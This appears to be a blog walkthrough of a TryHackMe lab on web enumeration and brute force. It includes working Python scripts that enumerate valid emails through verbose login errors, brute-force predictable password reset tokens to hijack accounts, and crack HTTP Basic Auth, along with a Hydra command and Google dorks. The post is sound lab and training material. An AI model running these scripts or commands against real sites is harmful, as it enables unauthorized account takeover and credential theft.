Post

Web Enumeration & Brute Force: From Manual Checks to Python Automation

Web Enumeration & Brute Force: From Manual Checks to Python Automation

Introduction

In the world of web security, Enumeration is the art of being a digital detective. It’s not just about finding what’s open, but understanding how the system “talks” back to us.

In this post, I document my journey through the Enumeration & Brute Force lab. We explore how to identify valid users through verbose errors, exploit weak password reset tokens, and crack HTTP Basic Authentication. Most importantly, I share the custom Python scripts I developed to automate these attacks faster than traditional tools.


1. Authentication Enumeration

Authentication enumeration occurs when a web application reveals whether a username exists or not based on the error message returned.

The Concept: Verbose Errors

A secure application should return generic messages like “Invalid username or password”. However, vulnerable applications are “chatty”:

  • Invalid Username: Returns “User does not exist”.
  • Valid Username: Returns “Invalid password”.

This difference allows us to build a list of valid users before even guessing passwords.

Fig 1: Burp Suite Intruder showing different response lengths for valid vs invalid users.

Automation: High-Speed User Enum Script

Instead of relying on the slow community version of Burp Suite, I wrote a multi-threaded Python script that checks valid emails by analyzing the response.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import sys
from concurrent.futures import ThreadPoolExecutor

s = requests.Session()

def check_email(email):
    url = "http://10.80.136.172/labs/verbose_login/functions.php"
    headers = {
        'Host': 'enum.thm',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64)',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    }
    data = {'username': email, 'password': 'password', 'function': 'login'}

    try:
        response = s.post(url, headers=headers, data=data, timeout=5)
        response_json = response.json()

        if 'Email does not exist' not in response_json['message']:
            print(f"\n[+] 🔥 BOOM! VALID FOUND: {email}")
            with open("valid_emails.txt", "a") as f:
                f.write(email + "\n")
        else:
            print(".", end="", flush=True)
    except Exception:
        pass

def main():
    if len(sys.argv) != 2:
        print("Usage: python3 fast_enum.py <email_list>")
        sys.exit(1)

    email_file = sys.argv[1]
    with open(email_file, 'r') as file:
        emails = [line.strip() for line in file.readlines() if line.strip()]

    print(f"[*] Starting scan on {len(emails)} emails with 20 threads...")
    with ThreadPoolExecutor(max_workers=20) as executor:
        executor.map(check_email, emails)

if __name__ == "__main__":
    main()

2. Exploiting Predictable Tokens

Password reset tokens should be long, random, and complex. However, some developers use weak random number generators (e.g., mt_rand(100, 200)), making the token predictable and easy to brute force.

The Vulnerability

If the reset link looks like reset_password.php?token=123, an attacker can request a reset for an admin account and brute-force the token parameter (000–999) to hijack the account.

Fig 2: The vulnerable URL structure showing the simple token parameter.

Automation: Token Breaker Script

Since the range is small, this script finds the correct token in seconds by looking for a response size anomaly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
from concurrent.futures import ThreadPoolExecutor
import os

TARGET_IP = "10.80.136.172"
BASE_URL = f"http://{TARGET_IP}/labs/predictable_tokens/reset_password.php"
HOST_HEADER = "enum.thm"
PARAM_NAME = "token"
FAILURE_TEXT = "Invalid token"

def check_token(token_value):
    params = {PARAM_NAME: token_value}
    headers = {'Host': HOST_HEADER}

    try:
        response = requests.get(BASE_URL, params=params, headers=headers, timeout=5)

        if FAILURE_TEXT not in response.text:
            print(f"\n[+] 🔥 BOOM! Valid Token Found: {token_value}")
            print(f"[+] Link: {BASE_URL}?{PARAM_NAME}={token_value}")

            if "password" in response.text.lower():
                print("✅ CONFIRMED: Found 'password' field in HTML!")
            os._exit(0)
        else:
            print(".", end="", flush=True)
    except:
        pass

def main():
    print("[*] Brute Forcing Token...")
    tokens_list = range(100, 201)
    with ThreadPoolExecutor(max_workers=20) as executor:
        executor.map(check_token, tokens_list)

if __name__ == "__main__":
    main()

3. HTTP Basic Authentication

Basic Auth transmits credentials as a Base64 encoded string (Authorization: Basic user:pass). While simple, it’s vulnerable to brute force attacks if weak passwords are used.

Fig 3: The browser prompt requesting Basic Authentication credentials.

Tool 1: Hydra (The Standard)

Hydra is the go-to tool for this. Always verify the path to avoid false positives.

1
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.80.136.172 http-get /labs/basic_auth/ -f -vV

Fig 4: Hydra successfully cracking the password.

Tool 2: Universal Python Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import base64
import sys
from concurrent.futures import ThreadPoolExecutor
import os

TARGET_URL = "http://10.80.136.172/labs/basic_auth/"
USERNAME = "admin"

def try_login(password):
    creds = f"{USERNAME}:{password}"
    b64_creds = base64.b64encode(creds.encode()).decode()
    headers = {'Authorization': f'Basic {b64_creds}'}

    try:
        response = requests.get(TARGET_URL, headers=headers, timeout=5)
        if response.status_code == 200:
            print(f"\n[+] 🔓 CRACKED! Password: {password}")
            os._exit(0)
    except:
        pass

4. Passive Reconnaissance

Before touching the server, we can find hidden gems using:

1
2
3
4
Wayback Machine: login_old.php
Google Dorks:
site:target.com filetype:log
site:target.com inurl:admin

Fig 5: Using passive reconnaissance tools to find hidden endpoints.

Conclusion

Enumeration is not just about running tools; it’s about understanding the application’s logic. By combining manual verification with custom scripting (Python/Bash), we can overcome the limitations of standard tools and conduct more efficient security assessments.

Fig 6: A complete mind-map for Web Enumeration & Brute Force Strategy.

Disclaimer: This post is for educational purposes only based on a TryHackMe lab environment.

This post is licensed under CC BY 4.0 by the author.